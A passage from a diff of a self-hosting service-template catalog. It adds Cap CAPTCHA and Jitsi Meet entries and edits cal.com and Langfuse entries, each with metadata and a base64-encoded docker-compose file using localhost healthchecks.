XBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NhbGNvbS1wb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "calcom", - "calendso", - "scheduling", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/calcom.svg", - "minversion": "0.0.0", - "port": "3000", - "amd_only": true - }, "calibre-web-automated-book-downloader": { "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io", "slogan": "An intuitive web interface for searching and requesting book downloads, designed to work seamlessly with Calibre-Web-Automated.", @@ -453,6 +436,21 @@ "minversion": "0.0.0", "port": "8083" }, + "cap-captcha": { + "documentation": "https://capjs.js.org/guide/?utm_source=coolify.io", + "slogan": "The self-hosted CAPTCHA for the modern web.", + "compose": "c2VydmljZXM6CiAgY2FwOgogICAgaW1hZ2U6ICd0aWFnbzIvY2FwOjMuMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NBUF8zMDAwCiAgICAgIC0gQURNSU5fS0VZPSRTRVJWSUNFX1BBU1NXT1JEX0FETUlOCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGJ1bgogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vbG9jYWxob3N0OjMwMDAnKS50aGVuKHIgPT4geyBpZiAoIXIub2spIHByb2Nlc3MuZXhpdCgxKSB9KS5jYXRjaCgoKSA9PiBwcm9jZXNzLmV4aXQoMSkpIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogICAgZGVwZW5kc19vbjoKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjktYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAndmFsa2V5LWRhdGE6L2RhdGEnCiAgICBjb21tYW5kOiAndmFsa2V5LXNlcnZlciAtLXNhdmUgNjAgMSAtLWxvZ2xldmVsIHdhcm5pbmcgLS1tYXhtZW1vcnktcG9saWN5IG5vZXZpY3Rpb24nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gdmFsa2V5LWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "captcha", + "security", + "privacy", + "proof-of-work" + ], + "category": "security", + "logo": "svgs/cap-captcha.png", + "minversion": "0.0.0", + "port": "3000" + }, "cap": { "documentation": "https://cap.so?utm_source=coolify.io", "slogan": "Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds.", @@ -2191,6 +2189,23 @@ "minversion": "0.0.0", "port": "8080" }, + "jitsi": { + "documentation": "https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/?utm_source=coolify.io", + "slogan": "Self-hosted Jitsi Meet \u2014 open-source video conferencing platform", + "compose": "c2VydmljZXM6CiAgaml0c2ktd2ViOgogICAgaW1hZ2U6ICdqaXRzaS93ZWI6c3RhYmxlLTEwODg4JwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtIEVOQUJMRV9BVVRIPTAKICAgICAgLSBFTkFCTEVfR1VFU1RTPTEKICAgICAgLSBFTkFCTEVfTEVUU0VOQ1JZUFQ9MAogICAgICAtIEVOQUJMRV9IVFRQX1JFRElSRUNUPTAKICAgICAgLSBESVNBQkxFX0hUVFBTPTEKICAgICAgLSBYTVBQX0RPTUFJTj1tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9BVVRIX0RPTUFJTj1hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0dVRVNUX0RPTUFJTj1ndWVzdC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9NVUNfRE9NQUlOPWNvbmZlcmVuY2UubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSAnWE1QUF9CT1NIX1VSTF9CQVNFPWh0dHA6Ly9wcm9zb2R5OjUyODAnCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSAnSklDT0ZPX0NPTVBPTkVOVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pJQ09GT30nCiAgICAgIC0gJ0pJQ09GT19BVVRIX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKVkJfQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSlZCfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcHJvc29keQogICAgICAtIGppY29mbwogICAgICAtIGp2YgogICAgdm9sdW1lczoKICAgICAgLSAnaml0c2ktd2ViOi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSBtZWV0LmppdHNpCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3QnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBwcm9zb2R5OgogICAgaW1hZ2U6ICdqaXRzaS9wcm9zb2R5OnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gRU5BQkxFX0dVRVNUUz0xCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9HVUVTVF9ET01BSU49Z3Vlc3QubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0lOVEVSTkFMX01VQ19ET01BSU49aW50ZXJuYWwuYXV0aC5tZWV0LmppdHNpCiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gUFVCTElDX1VSTD0kU0VSVklDRV9GUUROX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0xPR19MRVZFTD0ke0xPR19MRVZFTDotaW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1wcm9zb2R5Oi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSB4bXBwLm1lZXQuaml0c2kKICAgICAgICAgIC0gYXV0aC5tZWV0LmppdHNpCiAgICAgICAgICAtIGd1ZXN0Lm1lZXQuaml0c2kKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo1MjgwL2h0dHAtYmluZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGppY29mbzoKICAgIGltYWdlOiAnaml0c2kvamljb2ZvOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX1NFUlZFUj1wcm9zb2R5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSBKVkJfQlJFV0VSWV9NVUM9anZiYnJld2VyeQogICAgICAtIEpJQ09GT19FTkFCTEVfSEVBTFRIX0NIRUNLUz0xCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWppY29mbzovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4ODg4L2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGp2YjoKICAgIGltYWdlOiAnaml0c2kvanZiOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMTAwMDA6MTAwMDAvdWRwJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gWE1QUF9TRVJWRVI9cHJvc29keQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gSlZCX0FVVEhfVVNFUj1qdmIKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSBKVkJfUE9SVD0xMDAwMAogICAgICAtICdKVkJfQURWRVJUSVNFX0lQUz0ke0pWQl9BRFZFUlRJU0VfSVBTOi19JwogICAgICAtICdKVkJfU1RVTl9TRVJWRVJTPSR7SlZCX1NUVU5fU0VSVkVSUzotc3R1bi5sLmdvb2dsZS5jb206MTkzMDJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfRlFETl9KSVRTSQogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwcm9zb2R5CiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1qdmI6L2NvbmZpZycKICAgIG5ldHdvcmtzOgogICAgICBtZWV0LmppdHNpOiBudWxsCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9hYm91dC9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKbmV0d29ya3M6CiAgbWVldC5qaXRzaTogbnVsbAo=", + "tags": [ + "jitsi", + "video", + "conference", + "webrtc", + "meeting", + "self-hosted" + ], + "category": "productivity", + "logo": "svgs/jitsi.svg", + "minversion": "0.0.0", + "port": "80" + }, "joomla-with-mariadb": { "documentation": "https://joomla.org?utm_source=coolify.io", "slogan": "Joomla! is the mobile-ready and user-friendly way to build your website. Choose from thousands of features and designs. Joomla! is free and open source.", @@ -2388,7 +2403,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFP